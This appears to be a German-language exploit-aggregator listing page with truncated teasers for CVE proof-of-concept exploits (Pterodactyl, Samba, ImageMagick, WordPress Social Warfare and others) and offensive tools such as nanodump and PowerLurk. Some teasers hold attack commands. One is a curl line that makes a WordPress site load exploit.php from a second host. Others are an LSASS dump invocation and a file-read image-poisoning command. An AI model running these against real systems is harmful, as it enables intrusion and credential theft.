CVE-2025-49132_poc

CVE-2025-49132poc Verwendungsbeispiele 1. Einzelnes Ziel scannen : root@kitploit: python3 CVE-2025-49132poc.py -u http://pterodactyl.example.com 2. Zielliste scannen : root@kitploit: python3 CVE-2025-49132poc.py -f zielliste.txt 3. Scanergebnisse speichern : root@kitploit: python3...

CVE-2025-10230

CVE-2025-10230 — Samba WINS Hook Befehlsinjektion Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Die Forschung dient ausschließlich Bildungs- und Verteidigungszwecken. Beschreibung Dieses Repository enthält einen Proof-of-Concept PoC für...

CVE-2021-20323

CVE-2021-20323 Beschreibung Keycloak vor Version 18.0.0 und nach 10.0.0 enthält eine reflektierte XSS im clients-registrations-Endpunkt. Der Fehler wird ausgelöst, indem per POST eine JSON-Struktur mit einem Schlüssel als Parameter-Namen übermittelt wird, der vom Endpunkt nicht unterstützt wird...

CVE-2023-30092

CVE-2023-30092 Alle Details zu CVE-2023-30092 Software: Online Pizza Ordering System 1.0 Software Link: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html Vulnerability Type: SQL Injection Affected Component: QTY Parameter Impact Denial of Service: Tru...

CVE-2019-16724

Schwachstellenbeschreibung File Sharing Wizard 1.5.0 erlaubt es einem entfernten Angreifer, beliebigen Code durch Ausnutzung eines auf einem Structured Exception Handler SEH basierenden Pufferüberlaufs in einem HTTP-POST-Parameter auszuführen. Dieser Exploit wurde unter windows 7 Home getestet. E...

otseca

Open-Source-Sicherheitsaudit-Tool zum Durchsuchen und Auslesen der Systemkonfiguration. Einleitung | Beschreibung | Voraussetzungen | Ausgabe | Parameter | Berichte | Funktionsweise | Sonstiges...

blogpost_cve-2018-19987-analysis

CVE-2018-19987 D-Link OS command injection – Analyse Hallo zusammen! In diesem kurzen Blogbeitrag stelle ich eine schnelle Analyse vor, die ich durchgeführt habe, um die Details hinter CVE-2018-19987 besser zu verstehen. Zunächst bin ich dieser CVE nachgegangen, weil ich dachte, dass es keine...

PowerLurk

PowerLurk PowerLurk ist ein PowerShell-Toolset zur Erstellung bösartiger WMI-Ereignisabonnements. Ziel ist es, das Auslösen von WMI-Ereignissen während eines Penetrationstests oder Red-Team-Einsatzes zu erleichtern. Weitere Informationen finden Sie in meinem Beitrag Creeping on Users with WMI...

nanodump

NanoDump Ein flexibles Tool, das einen Minidump des LSASS-Prozesses erstellt. Inhaltsverzeichnis 1. Verwendung 2. Funktionen 3. Kombination von Techniken 4. Beispiele 5. HTTPS-Weiterleitungen 1. Verwendung root@kitploit: usage: Z:\nanodump.x64.exe --write C:\Windows\Temp\doc.docx --valid...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler Server Side Request Forgery SSRF Hit Counter Apache Solr steht für Searching On Lucene with Replication ist eine freie Open-Source-Suchmaschine, die auf der Bibliothek Apache Lucene basiert und in Java geschrieben ist. Apache Solr verfügt über...

Wordfence Intelligence Weekly WordPress Vulnerability Report (August 17, 2026 to August 23, 2026)

Last week, there were 240 vulnerabilities disclosed in 184 WordPress Plugins and 17 WordPress Themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were 105 Vulnerability Researchers that contributed to WordPress Security last week. Review those vulnerabiliti...

log4jail

log4jail 🛡️ Ein schneller Firewall-Reverse-Proxy mit TLS HTTPS und Swarm-Unterstützung zur Verhinderung von Log4J Log4Shell aka CVE-2021-44228 Angriffen. 📖 Inhaltsverzeichnis Einleitung Installation Schnellstart Proof of Concept Für Pentester ℹ️ Einleitung log4jail ist eine schnelle und einfache...

CVE-2020-7471

CVE-2020-7471 SQL-Injection über die StringAgg-Trennzeicheneingabe Einrichtung: Führen Sie ./setup.sh für die Ersteinrichtung aus Öffnen Sie das Docker-Image, um die Datenbank zu initialisieren: docker exec -it containerid /bin/bash Und führen Sie die folgenden Befehle aus: root@kitploit: python...

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0 ist anfällig für RCE via SQL-Injection. Anbieter: https://github.com/mathurvishal/CloudClassroom-PHP-Project Software-Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC Schritt 1: Navigieren Sie zur...

CVE-2019-9978

CVE-2019-9978 - Plugin Social Warfare WordPress RCE RCE no plugin Social Warfare WordPress sem qualquer autenticação prévia Prova de Conceito root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Código vulnerável :...

CVE-2022-44268

CVE-2022-44268 🧙‍♂️ CVE-2022-44268 ImageMagick Beliebiger Dateizugriff Verwendung 🛠 Bild vergiften ☣️ root@kitploit: python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png Lade das vergiftete PNG-Bild hoch. Überprüfe, ob der Exploit erfolgreich war 🗡...

CVE-2019-12086-jackson-databind-file-read

jackson-CVE-2019-12086 Schwachstellenbeschreibung Wenn Default Typing aktiviert ist und sich im Klassenpfad mysql-connector-java in Version 8.0.15 veröffentlicht am 1.2.2019 oder niedriger befindet, kann ein Angreifer durch Senden böswilliger JSON-Daten beliebige Dateien lesen. Die Bibliothek...

CVE-2023-2598

CVE-2023-2598 Was ist iouring? ​ iouring ist eine Systemaufrufschnittstelle für Linux. Sie unterstützt inzwischen fast alle Systemaufrufe, nicht nur read und write wie anfänglich. Sie ermöglicht einer Anwendung, Systemaufrufe anzustoßen, die asynchron ausgeführt werden können. Submission- und...

CVE-2017-1000486

CVE-2017-1000486 Proof-of-Concept-Exploit für PrimeFaces 5.x EL Injection CVE-2017-1000486, eine RCE-Sicherheitslücke, die verwendet werden kann, um Remote-Code-Ausführung auf einem Ziel zu erreichen. Beschreibung der Sicherheitslücke Eine ausgezeichnete Beschreibung der Sicherheitslücke finden S...

CVE-2015-9251

CVE-2015-9251 [email protected] PoC für CVE-2015-9251 jQuery älter als 3.0.0. CVE-2015-9251 - PoC Exploit Dieses Repository enthält einen Proof of Concept PoC für die Schwachstelle CVE-2015-9251 in der Bibliothek jQuery. Die Schwachstelle ermöglicht einen Cross-Site-Scripting-Angriff XSS übe...